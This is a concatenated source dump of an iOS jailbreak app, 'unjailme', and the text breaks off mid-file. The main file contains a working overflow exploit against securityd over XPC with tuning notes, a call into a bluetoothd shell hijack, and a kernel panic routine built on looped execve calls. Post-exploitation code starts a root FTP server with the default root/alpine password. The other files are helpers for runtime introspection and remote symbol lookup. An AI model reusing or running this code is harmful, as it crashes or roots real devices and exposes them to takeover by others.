path:@"/usr/libexec/afcd" containerPath:@"/private/var/root/" arguments:args environment:env standardOutputPath:[docsdir stringByAppendingString:@"stdout.txt"] standardErrorPath:[docsdir stringByAppendingString:@"stderr.txt"] machServices:services threadPriority:0 waitForDebugger:YES denyCreatingOtherJobs:NO runAtLoad:YES disableASLR:YES systemApp:YES]; 489 | #pragma clang diagnostic pop 490 | 491 | if(success) 492 | { 493 | NSLog(@"AFCD2 is now running perfectly!\n"); 494 | } else { 495 | NSLog(@"AFCD2 could not be ran, check your privilige!\n"); 496 | } 497 | NSLog(@"Doing post-exploitation stuff...\n"); 498 | #ifdef MTFTP 499 | start_mtftpd(); 500 | NSLog(@"FTP Server running on port 21\n"); 501 | NSLog(@"You can connect with the following credentials\n\n"); 502 | NSLog(@"User: root\n"); 503 | NSLog(@"Password: alpine\n\n"); 504 | NSLog(@"If you need a client for FTP checkout https://filezilla-project.org/\n"); 505 | NSLog(@"Special thanks to pureftpd.\n\n"); 506 | NSLog(@"Appcontainer directory: %@\n", [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject]); 507 | #else 508 | //[self rebootDevice]; 509 | #endif 510 | } 511 | 512 | - (void) overflow_securityd { 513 | 514 | /* Part 1: Initialization and finding base addresses (for ropchain) */ 515 | addr64_t corefoundation_address = lorgnette_lookup_baseaddress("CoreFoundation"); 516 | addr64_t system_symbol_address = lorgnette_lookup(mach_task_self(), "system"); 517 | NSLog(@"securityd_exploit: initiating...\n"); 518 | 519 | if(corefoundation_address <= 0) { 520 | NSLog(@"securityd_exploit: failed to lookup CoreFoundation's base address.\n"); 521 | return; 522 | } 523 | if(system_symbol_address <= 0) { 524 | NSLog(@"securityd_exploit: failed to lookup address of system().\n"); 525 | } 526 | 527 | NSLog(@"securityd_exploit: CoreFoundation is at %#llx\n", corefoundation_address); 528 | NSLog(@"securityd_exploit: system() is at %#llx\n", system_symbol_address); 529 | 530 | 531 | /* Part 2: Connecting to com.apple.securityd */ 532 | xpc_connection_t connection = NULL; 533 | connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, 0); 534 | if(!connection) 535 | { 536 | NSLog(@"securityd_exploit: Failed to connect to securityd service.\n"); 537 | } 538 | 539 | //Add an event handler that basically does nothing yet and continue 540 | xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {}); 541 | xpc_connection_resume(connection); 542 | 543 | /* Part 3: The overflow */ 544 | 545 | //Create a new XPC message (messages are in dictionary format: key, value) 546 | xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); 547 | xpc_dictionary_set_uint64(msg, "operation" /* kSecXPCKeyOperation */, 0x27); 548 | 549 | //Construct a buffer of data to be used for overflowing the service 550 | 551 | // 0x27: 552 | char overflow[600000] = {0}; // 600000: crashes at x2, 650000: crashes at x3 553 | size_t overflow_size = sizeof(overflow); 554 | NSLog(@"securityd_exploit: overflow_size: 0x%zx (%d)\n", overflow_size, (uint32_t)overflow_size); 555 | 556 | 557 | // personal notes below (i7 11.3 15E5189f): 558 | // - size doesn't really matter as long as 559 | // size of 600000 and set null terminator at 570000 and later will cause a binary images overwrite 560 | // size of 550000 and set null terminator at 550000 and later will cause to fail at a different location (ca20) WITH registers overwrite 561 | // size of 540000 <-> 549000 and set null terminator at 550000 and later will cause to fail at a different location (11c8) WITHOUT registers overwrite 562 | 563 | 564 | //Construct the actual overflow 565 | 566 | // start: 567 | memset(&overflow, '\x55', overflow_size); 568 | 569 | // middle: 570 | overflow[2000] = '\x00'; 571 | memset(&overflow[2000], '\x00\x00\x20\xd4', overflow_size - 2000); 572 | 573 | // end: 574 | memset(&overflow[5000], '\x41', overflow_size - 5000); 575 | 576 | // 549630 <--> 549620 577 | // 549600: pc: 1d0 or 1c8 (crash log: 220737) 578 | // 549626 <-> 549627: pc: 0x00000001020791d4 (crash log: 221912) 579 | // 549628: pc: 0x00000001003b91c8 (crash log: 2223229) 580 | // 549629: pc: ca20. registers overwritten. x18/x14 are partially overwritten. 581 | 582 | int x = 549628; 583 | memset(&overflow[x], '\0', overflow_size - x); 584 | overflow[549597] = '\0'; //null terminator 585 | 586 | 587 | #if 0 588 | 589 | //Code for setting the CPU registers: 590 | memset(&overflow[530000], '\x00', 8); 591 | 592 | // x8: 593 | memset(&overflow[1000], '\x41', overflow_size - 1000); 594 | 595 | // x9: 596 | memset(&overflow[249843], '\x09', 8); 597 | 598 | // x10: 599 | memset(&overflow[249851], '\x10', 8); 600 | 601 | // x11: 602 | memset(&overflow[249859], '\x11', 8); 603 | 604 | // x14 (can overwrite parially): 605 | memset(&overflow[0], '\x14', 4); 606 | 607 | // x15: 608 | memset(&overflow[4], '\x15', 8); 609 | #endif 610 | 611 | overflow[overflow_size] = '\x00'; //Null terminator 612 | NSLog(@"securityd exploit: Overflow constructed.\n"); 613 | 614 | /* Part 4: Perform the overflow */ 615 | xpc_dictionary_set_string(msg, "deviceID", overflow); 616 | NSLog(@"securityd_exploit: sending payload to securityd\n"); 617 | 618 | //Send the overflow and see what response we get back from securityd 619 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, msg); 620 | 621 | //If we end up with a reply that the connection is interrupted, the service was killed and the overflow worked 622 | if(reply == XPC_ERROR_CONNECTION_INTERRUPTED) { 623 | NSLog(@"securityd_exploit: successfully sent our payload to securityd\n"); 624 | bzero(overflow, overflow_size); //Free memory for the overflow buffer again 625 | 626 | // next steps: (This is where our post-exploitation stuff will go) 627 | 628 | } else { 629 | NSLog(@"securityd_exploit: failed to overflow securityd: %s\n", xpc_copy_description(reply)); 630 | } 631 | 632 | //Print out the response description for debugging 633 | NSLog(@"securityd_exploit:\nreply data:%s\nIf this mentions connection interupted we succeeded!\n", xpc_copy_description(reply)); 634 | 635 | 636 | } 637 | 638 | /* Bug (DoS) in allocation of kernel address space, PoC using execve syscall. */ 639 | //Panic: alloc_asid() out of ASID number. 640 | //Explanation: For execve address space is allocated before the validation checks, doing this in a loop makes the kernel run out of identifiers 641 | 642 | - (void)rebootDevice { 643 | for(int i = 0; i < 10000; i++) { //We want to work with 10.000 asynchronous threads 644 | dispatch_async(dispatch_get_main_queue(), ^(void){ 645 | [NSThread detachNewThreadWithBlock:^(void){ 646 | for(int j = 0; j < 10000; j++) //We want to allocate 10.000 at a time (final total: 100.000) 647 | { 648 | execve("/APPLE/SEEMS/TO/NEVER/PATCH/THIS/BUG/I/MAILED/THEM/SINCE/IOS/9.2.1", NULL, NULL); 649 | } 650 | }]; 651 | 652 | }); 653 | } 654 | } 655 | 656 | /* Function for dumping a chunk of memory starting at a given address */ 657 | -(void) hexDump:(char *)desc addr:(void *)addr length:(int)len 658 | { 659 | int i; 660 | unsigned char buff[17]; 661 | unsigned char *pc = (unsigned char*)addr; 662 | 663 | // Output description if given. 664 | if (desc != NULL) 665 | NSLog (@"%s:\n", desc); 666 | 667 | // Process every byte in the data. 668 | for (i = 0; i < len; i++) { 669 | // Multiple of 16 means new line (with line offset). 670 | 671 | if ((i % 16) == 0) { 672 | // Just don't print ASCII for the zeroth line. 673 | if (i != 0) 674 | NSLog (@" %s\n", buff); 675 | 676 | // Output the offset (0x...) 677 | NSLog (@" %#04x ", i); 678 | } 679 | 680 | // Now the hex code for the specific character. 681 | NSLog (@" %02x", pc[i]); 682 | 683 | // And store a printable ASCII character for later. 684 | if ((pc[i] < 0x20) || (pc[i] > 0x7e)) { 685 | buff[i % 16] = '.'; 686 | } else { 687 | buff[i % 16] = pc[i]; 688 | } 689 | 690 | buff[(i % 16) + 1] = '\0'; 691 | } 692 | 693 | // Pad out last line if not exactly 16 characters. 694 | while ((i % 16) != 0) { 695 | NSLog (@" "); 696 | i++; 697 | } 698 | // And print the final ASCII bit. 699 | NSLog (@" %s\n", buff); 700 | } 701 | 702 | - (void)run{ 703 | if(self.output == nil) 704 | { 705 | self.output = @""; 706 | } 707 | 708 | if(CPU_IS_64BIT()) //Check if we have a 64-bit device 709 | { 710 | [self preExploitation]; 711 | } else { 712 | NSLog(@"Currently UnjailMe only supports 64-bit devices.\n"); 713 | return; 714 | } 715 | 716 | //Zimperium bluetoothd vulnerabillities were patched in iOS 11.2.5 717 | //They now use arc4random() (random of 2^32) instead of the client port 718 | //This does not quite prevent session hijacking yet, but it makes it take longer to hijack a session 719 | //Do not expect a sandbox escape to come for 11.2.5 though 720 | 721 | if(SYSTEM_VERSION_LESS_THAN(@"11.2.5")) 722 | { 723 | [self try_to_add_callback_BTLocalDeviceAddCallbacks:(void *)system_address value:(long)rop_string_shell]; 724 | } 725 | 726 | //Luckily for devices running 11.3 and below Abraham Masri released a PoC for a buffer underflow in securityd 727 | //It does not look very easy to exploit but I still believe it is possible 728 | 729 | if(SYSTEM_VERSION_GREATER_THAN(@"11.2.2") && SYSTEM_VERSION_LESS_THAN(@"11.3.1")) 730 | { 731 | //Run exploit by @cheesecakeufo (Abraham) 732 | [self overflow_securityd]; 733 | } 734 | 735 | if(SYSTEM_VERSION_LESS_THAN(@"11.3.1")) 736 | { 737 | //Run the post-exploitation stuff only if the device supports it 738 | [self doPostExploitStuff]; 739 | } 740 | 741 | } 742 | @end 743 | -------------------------------------------------------------------------------- /unjailme/log.h: -------------------------------------------------------------------------------- 1 | // 2 | // log.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef log_h 10 | #define log_h 11 | #define NSLog(str...) _output = [_output stringByAppendingString:[NSString stringWithFormat:str]]; printf("%s",[[NSString stringWithFormat:str] UTF8String]); 12 | #endif /* log_h */ 13 | -------------------------------------------------------------------------------- /unjailme/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /unjailme/unjailme.xcdatamodeld/.xccurrentversion: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | _XCCurrentVersionName 6 | unjailme.xcdatamodel 7 | 8 | 9 | -------------------------------------------------------------------------------- /unjailme/unjailme.xcdatamodeld/unjailme.xcdatamodel/contents: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /unjailme/utils/APIManager.h: -------------------------------------------------------------------------------- 1 | // 2 | // APIManager.h 3 | // XTJailed 4 | // 5 | // Created by Sem Voigtländer on 13/12/2017. 6 | // Copyright © 2017 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef APIManager_h 10 | #define APIManager_h 11 | #import 12 | 13 | @interface APIManager : NSObject 14 | +(id)tryCallMethod:(NSString*)ClassName methodName:(NSString*)methodName; 15 | +(NSString*)tryReadProperty:(NSString*)ClassName property:(NSString*)property; 16 | +(NSDictionary*)dumpAllFromFramework:(NSString*)framework privateFW:(BOOL)pfw; 17 | //+(void)dumpClasses; 18 | +(NSArray*)dumpClasses:(NSString*)framework privateFW:(BOOL)pfw; 19 | +(NSArray*)dumpMethods:(Class)class; 20 | +(NSArray*)dumpProperties:(Class)class; 21 | +(BOOL)loadFW:(NSString*)name private:(BOOL)isprivate; 22 | 23 | @end 24 | #endif /* APIManager_h */ 25 | 26 | -------------------------------------------------------------------------------- /unjailme/utils/APIManager.m: -------------------------------------------------------------------------------- 1 | // 2 | // APIManager.m 3 | // XTJailed 4 | // 5 | // Created by Sem Voigtländer on 13/12/2017. 6 | // Copyright © 2017 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | #import 11 | #import 12 | #import 13 | #import 14 | #import "APIManager.h" 15 | 16 | #pragma clang diagnostic push 17 | #pragma clang diagnostic ignored "-Warc-performSelector-leaks" 18 | @interface APIManager() 19 | @end 20 | @implementation APIManager 21 | +(BOOL)loadFW:(NSString*)name private:(BOOL)isprivate { 22 | if(!isprivate) { 23 | return [[NSBundle bundleWithPath:[NSString stringWithFormat:@"/System/Library/Frameworks/%@.framework", name]] load]; 24 | } 25 | return [[NSBundle bundleWithPath:[NSString stringWithFormat:@"/System/Library/PrivateFrameworks/%@.framework", name]] load]; 26 | } 27 | 28 | /* 29 | +(void)dumpClasses { 30 | uint count = 0; 31 | const char **classes; 32 | Dl_info info; 33 | dladdr(&_mh_execute_header, &info); 34 | NSLog(@"main is at: %#16llx",(uint64_t)info.dli_saddr); 35 | classes = objc_copyClassNamesForImage(info.dli_fname, &count); 36 | //printf("[Classes]\n"); 37 | for (uint i = 0; i < count; i++) { 38 | NSBundle *b = [NSBundle bundleForClass:NSClassFromString([NSString stringWithUTF8String:classes[i]])]; 39 | if(b != [NSBundle mainBundle]) { 40 | NSArray* bundlePath = [[b bundlePath] componentsSeparatedByString:@"/"]; 41 | printf("\t%s:\n\t\t- %s\n",[[bundlePath lastObject] UTF8String], classes[i]); 42 | } 43 | } 44 | } 45 | */ 46 | 47 | 48 | +(NSArray*)dumpClasses:(NSString*)framework privateFW:(BOOL)pfw{ 49 | 50 | uint count = 0; 51 | Class * classes = NULL; 52 | NSString *fwClasses = @""; 53 | count = objc_getClassList(NULL, 0); 54 | if(count > 0) { 55 | //printf("[%s Classes]\n", [framework UTF8String]); 56 | classes = (__unsafe_unretained Class *)malloc(sizeof(Class) * count); 57 | count = objc_getClassList(classes, count); 58 | for (uint i = 0; i < count; i++) { 59 | NSBundle *b = [NSBundle bundleForClass:NSClassFromString([NSString stringWithUTF8String:class_getName(classes[i])])]; 60 | NSString* path =[NSString stringWithFormat:@"/System/Library/PrivateFrameworks/%@.framework",framework]; 61 | if(!pfw) { 62 | path = [NSString stringWithFormat:@"/System/Library/Frameworks/%@.framework",framework]; 63 | } 64 | if([[b bundlePath] isEqualToString:path]) { 65 | //printf("\t\t- (%s) %s\n",class_getName(class_getSuperclass(classes[i])),class_getName(classes[i])); 66 | fwClasses = [fwClasses stringByAppendingString:[NSString stringWithFormat:@"%@\n", NSStringFromClass(classes[i])]]; 67 | } 68 | } 69 | } else { 70 | //printf("No classes found in %s.\n", [framework UTF8String]); 71 | } 72 | return [fwClasses componentsSeparatedByString:@"\n"]; 73 | } 74 | 75 | 76 | +(NSDictionary*)dumpAllFromFramework:(NSString*)framework privateFW:(BOOL)pfw{ 77 | NSDictionary* data = [NSDictionary dictionary]; 78 | NSArray* classes = [APIManager dumpClasses:framework privateFW:pfw]; 79 | if(classes != nil) { 80 | [data setValue:classes forUndefinedKey:@"Classes"]; 81 | for(int i = 0; i < classes.count;i++) { 82 | Class c = NSClassFromString(classes[i]); 83 | [data setValue:[APIManager dumpProperties:c] forUndefinedKey:@"Properties"]; 84 | [data setValue:[APIManager dumpMethods:c] forUndefinedKey:@"Methods"]; 85 | } 86 | } 87 | return data; 88 | } 89 | 90 | +(NSArray*)dumpMethods:(Class)class { 91 | uint methodCnt = 0; 92 | NSArray* methodArr = [NSArray array]; 93 | Method* methods = class_copyMethodList(class, &methodCnt); 94 | //printf("[%s Methods]:\n", class_getName(class)); 95 | for (uint i = 0; i < methodCnt; i++) { 96 | Method method = methods[i]; 97 | //printf("\t- %s\n", sel_getName(method_getName(method))); 98 | methodArr = [methodArr arrayByAddingObject:[NSString stringWithUTF8String:sel_getName(method_getName(method))]]; 99 | } 100 | return methodArr; 101 | } 102 | 103 | +(NSArray*)dumpProperties:(Class)class{ 104 | uint count = 0;char* propertyType = ""; 105 | objc_property_t *properties = class_copyPropertyList(class, &count); 106 | //printf("[%s Properties]:\n", class_getName(class)); 107 | NSArray* propertyArr = [NSArray array]; 108 | for(uint i = 0; i < count; i++) { 109 | if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSString"]) { 110 | propertyType = "NSString"; 111 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSMutableData"]) { 112 | propertyType = "NSMutableData"; 113 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSURL"]) { 114 | propertyType = "NSURL"; 115 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSArray"]) { 116 | propertyType = "NSArray"; 117 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSError"]) { 118 | propertyType = "NSError"; 119 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"T*"]) { 120 | propertyType = "char *"; 121 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Tc"]) { 122 | propertyType = "char"; 123 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"TC"]) { 124 | propertyType = "unsigned char"; 125 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Tq"]) { 126 | propertyType = "long long"; 127 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"TQ"]) { 128 | propertyType = "unsigned long long"; 129 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Ts"]) { 130 | propertyType = "short"; 131 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"TB"]) { 132 | propertyType = "BOOL"; 133 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Ti"]) { 134 | propertyType = "int"; 135 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"TI"]) { 136 | propertyType = "NSInteger"; 137 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Td"]) { 138 | propertyType = "double"; 139 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Tf"]) { 140 | propertyType = "float"; 141 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"T#"]) { 142 | propertyType = "Class"; 143 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSMutableArray"]) { 144 | propertyType = "NSMutableArray"; 145 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSObject"]) { 146 | propertyType = "NSObject"; 147 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSDictionary"]) { 148 | propertyType = "NSDictionary"; 149 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"NSData"]) { 150 | propertyType = "NSData"; 151 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"Tv"]) { 152 | propertyType = "void"; 153 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"T@"]) { 154 | propertyType = "id"; 155 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"T:"]) { 156 | propertyType = "selector"; 157 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"CGSize=dd"]) { 158 | propertyType = "CGSize{double,double}"; 159 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"^{__IOSurface=}"]) { 160 | propertyType = "IOSurface*"; 161 | } else if([[NSString stringWithUTF8String:property_getAttributes(properties[i])] containsString:@"T?"]) { 162 | propertyType = "Unknown"; 163 | } else { 164 | propertyType = (char*)property_getAttributes(properties[i]); 165 | } 166 | //printf("\t- (%s) %s\n",propertyType, property_getName(properties[i])); 167 | propertyArr = [propertyArr arrayByAddingObject:[NSString stringWithFormat:@"(%@) %@",[NSString stringWithUTF8String:propertyType], [NSString stringWithUTF8String:property_getName(properties[i])]]]; 168 | propertyType = ""; 169 | } 170 | printf("[iVars]:\n"); 171 | uint ivarsCnt; 172 | Ivar* ivars = class_copyIvarList(class, &ivarsCnt); 173 | for (uint i = 0; i < ivarsCnt; i++) { 174 | char* ivar = (char*)ivar_getName(ivars[i]); 175 | propertyArr = [propertyArr arrayByAddingObject:[NSString stringWithFormat:@"(iVar) %s", ivar]]; 176 | } 177 | return propertyArr; 178 | } 179 | 180 | 181 | +(id) tryCallMethod:(NSString*)ClassName methodName:(NSString*)methodName { 182 | Class tryClass = NSClassFromString(ClassName); 183 | if(tryClass != nil) { 184 | @try { 185 | if([methodName isEqualToString:@"dealloc"]) { 186 | return @"Failed to call method.\n(Reason: NULL Dereference)"; 187 | } 188 | id result = [[tryClass alloc] performSelector:NSSelectorFromString(methodName)]; 189 | if(result != nil || ![result isEqual:@""] || ![result isEqualToString:@""]) { 190 | return result; 191 | } else { 192 | return @"Method called but is probably void"; 193 | } 194 | } @catch(NSException *ex) { 195 | return [NSString stringWithFormat:@"Failed to call method.\n(Reason: %@)", ex.reason]; 196 | } 197 | } else { 198 | return @"Failed to call method.\n(Reason: Class is null.)"; 199 | } 200 | } 201 | 202 | + (NSString*) tryReadProperty:(NSString*)ClassName property:(NSString*)property{ 203 | @try { 204 | Class tryClass = NSClassFromString(ClassName); 205 | if(tryClass == nil) { 206 | return @"Failed to read property\n(Reason: Class is null.)"; 207 | } else { 208 | id instance = [[tryClass alloc] valueForKey:property]; 209 | NSString* result = [NSString stringWithFormat:@"%@",instance]; 210 | if(result == nil || [result isEqualToString:@"(null)"]) { 211 | instance = [tryClass valueForKey:property]; 212 | result = [NSString stringWithFormat:@"%@",instance]; 213 | if(result == nil || [result isEqualToString:@"(null)"]) { 214 | return @"Failed to read property\n(Reason: read returned null.)"; 215 | } else { 216 | return result; 217 | } 218 | } else { 219 | return result; 220 | } 221 | } 222 | } @catch(NSException *ex) { 223 | if([ex.name containsString:@"NSUnknownKeyException"]) { 224 | return @"Failed to read property\n(Reason: read returned null.)"; 225 | } 226 | return [NSString stringWithFormat:@"Failed to read property\n(Reason: %@ %@.)",ex.name , ex.reason]; 227 | } 228 | } 229 | @end 230 | #pragma clang diagnostic pop 231 | 232 | -------------------------------------------------------------------------------- /unjailme/utils/devicehelper.h: -------------------------------------------------------------------------------- 1 | // 2 | // devicehelper.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef devicehelpers_h 10 | #define devicehelpers_h 11 | #import 12 | #import 13 | #define SYSTEM_VERSION_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame) 14 | #define SYSTEM_VERSION_GREATER_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending) 15 | #define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending) 16 | #define SYSTEM_VERSION_LESS_THAN(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending) 17 | #define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v) ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending) 18 | #define CPU_IS_64BIT() ((UINT_MAX) == 0xffffffffu) 19 | #endif /* devicehelpers_h */ 20 | -------------------------------------------------------------------------------- /unjailme/utils/endianhelper.c: -------------------------------------------------------------------------------- 1 | // 2 | // endianhelper.c 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #include "endianhelper.h" 10 | int64_t swap_int64( int64_t val ) 11 | { 12 | val = ((val << 8) & 0xFF00FF00FF00FF00ULL ) | ((val >> 8) & 0x00FF00FF00FF00FFULL ); 13 | val = ((val << 16) & 0xFFFF0000FFFF0000ULL ) | ((val >> 16) & 0x0000FFFF0000FFFFULL ); 14 | return (val << 32) | ((val >> 32) & 0xFFFFFFFFULL); 15 | } 16 | 17 | uint64_t swap_uint64( uint64_t val ) 18 | { 19 | val = ((val << 8) & 0xFF00FF00FF00FF00ULL ) | ((val >> 8) & 0x00FF00FF00FF00FFULL ); 20 | val = ((val << 16) & 0xFFFF0000FFFF0000ULL ) | ((val >> 16) & 0x0000FFFF0000FFFFULL ); 21 | return (val << 32) | (val >> 32); 22 | } 23 | -------------------------------------------------------------------------------- /unjailme/utils/endianhelper.h: -------------------------------------------------------------------------------- 1 | // 2 | // endianhelper.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef endianhelper_h 10 | #define endianhelper_h 11 | 12 | #include 13 | int64_t swap_int64( int64_t val ); 14 | uint64_t swap_uint64( uint64_t val ); 15 | #endif /* endianhelper_h */ 16 | -------------------------------------------------------------------------------- /unjailme/utils/lorgnette-structs.h: -------------------------------------------------------------------------------- 1 | // 2 | // lorgnette-structs.h 3 | // liblorgnette 4 | // 5 | // Created by Dmitry Rodionov on 9/26/14. 6 | // Copyright (c) 2014 rodionovd. All rights reserved. 7 | // 8 | 9 | #pragma once 10 | 11 | struct dyld_image_info_32 { 12 | uint32_t imageLoadAddress; 13 | uint32_t imageFilePath; 14 | uint32_t imageFileModDate; 15 | }; 16 | 17 | struct load_command_with_segname { 18 | uint32_t cmd; 19 | uint32_t cmdsize; 20 | uint32_t segname; 21 | }; 22 | 23 | struct dyld_image_info_64 { 24 | uint64_t imageLoadAddress; 25 | uint64_t imageFilePath; 26 | uint64_t imageFileModDate; 27 | }; 28 | 29 | struct dyld_all_image_infos_32 { 30 | uint32_t version; 31 | uint32_t infoArrayCount; 32 | uint32_t infoArray; 33 | uint32_t notification; 34 | bool processDetachedFromSharedRegion; 35 | bool libSystemInitialized; 36 | uint32_t dyldImageLoadAddress; 37 | uint32_t jitInfo; 38 | uint32_t dyldVersion; 39 | uint32_t errorMessage; 40 | uint32_t terminationFlags; 41 | uint32_t coreSymbolicationShmPage; 42 | uint32_t systemOrderFlag; 43 | uint32_t uuidArrayCount; 44 | uint32_t uuidArray; 45 | uint32_t dyldAllImageInfosAddress; 46 | uint32_t initialImageCount; 47 | uint32_t errorKind; 48 | uint32_t errorClientOfDylibPath; 49 | uint32_t errorTargetDylibPath; 50 | uint32_t errorSymbol; 51 | uint32_t sharedCacheSlide; 52 | uint8_t sharedCacheUUID[16]; 53 | uint32_t sharedCacheBaseAddress; 54 | uint64_t infoArrayChangeTimestamp; 55 | uint32_t dyldPath; 56 | uint32_t notifyMachPorts[8]; 57 | uint32_t reserved[5]; 58 | uint32_t compact_dyld_image_info_addr; 59 | uint32_t compact_dyld_image_info_size; 60 | }; 61 | 62 | struct dyld_all_image_infos_64 { 63 | uint32_t version; 64 | uint32_t infoArrayCount; 65 | uint64_t infoArray; 66 | uint64_t notification; 67 | bool processDetachedFromSharedRegion; 68 | bool libSystemInitialized; 69 | uint32_t paddingToMakeTheSizeCorrectOn32bitAndDoesntAffect64b; // NOT PART OF DYLD_ALL_IMAGE_INFOS! 70 | uint64_t dyldImageLoadAddress; 71 | uint64_t jitInfo; 72 | uint64_t dyldVersion; 73 | uint64_t errorMessage; 74 | uint64_t terminationFlags; 75 | uint64_t coreSymbolicationShmPage; 76 | uint64_t systemOrderFlag; 77 | uint64_t uuidArrayCount; 78 | uint64_t uuidArray; 79 | uint64_t dyldAllImageInfosAddress; 80 | uint64_t initialImageCount; 81 | uint64_t errorKind; 82 | uint64_t errorClientOfDylibPath; 83 | uint64_t errorTargetDylibPath; 84 | uint64_t errorSymbol; 85 | uint64_t sharedCacheSlide; 86 | uint8_t sharedCacheUUID[16]; 87 | uint64_t sharedCacheBaseAddress; 88 | uint64_t infoArrayChangeTimestamp; 89 | uint64_t dyldPath; 90 | uint32_t notifyMachPorts[8]; 91 | uint64_t reserved[9]; 92 | uint64_t compact_dyld_image_info_addr; 93 | uint64_t compact_dyld_image_info_size; 94 | }; 95 | -------------------------------------------------------------------------------- /unjailme/utils/lorgnette.c: -------------------------------------------------------------------------------- 1 | // 2 | // lorgnette.c 3 | // liblorgnette 4 | // 5 | // Created by Dmitry Rodionov on 9/24/14. 6 | // Copyright (c) 2014 rodionovd. All rights reserved. 7 | // 8 | 9 | /** We don't want assert() to be stripped out from release builds. */ 10 | #ifdef NDEBUG 11 | #define RD_REENABLE_NDEBUG NDEBUG 12 | #undef NDEBUG 13 | #endif 14 | #include 15 | #ifdef RD_REENABLE_NDEBUG 16 | #define NDEBUG RD_REENABLE_NDEBUG 17 | #undef RD_REENABLE_NDEBUG 18 | #endif 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include "lorgnette.h" 31 | #include "lorgnette-structs.h" 32 | extern kern_return_t mach_vm_protect(vm_map_t, mach_vm_address_t, mach_vm_size_t, 33 | boolean_t, vm_prot_t); 34 | 35 | extern kern_return_t mach_vm_read_overwrite(vm_map_t, mach_vm_address_t, mach_vm_size_t, 36 | mach_vm_address_t, mach_vm_size_t*); 37 | #define RDFailOnError(function, label) \ 38 | do { \ 39 | if (err != KERN_SUCCESS) { \ 40 | syslog(LOG_NOTICE, "[%d] %s failed with error: %s [%d]\n", \ 41 | __LINE__-1, function, mach_error_string(err), err); \ 42 | goto label; \ 43 | } \ 44 | } while(0) 45 | 46 | /** This magic Mach-O header flag implies that image was loaded from dyld shared cache */ 47 | #define kImageFromSharedCacheFlag 0x80000000 48 | /** @see _copyin_string() */ 49 | #define kRemoteStringBufferSize 2048 50 | /** Default base addresses for 32- and 64-bit executables */ 51 | #define ki386DefaultBaseAddress 0x1000 52 | #define kx86_64DefaultBaseAddress 0x100000000 53 | 54 | static int _image_headers_in_task(task_t, const char *, mach_vm_address_t*, uint32_t*, uint64_t*); 55 | static int _image_headers_from_dyld_info32(task_t, 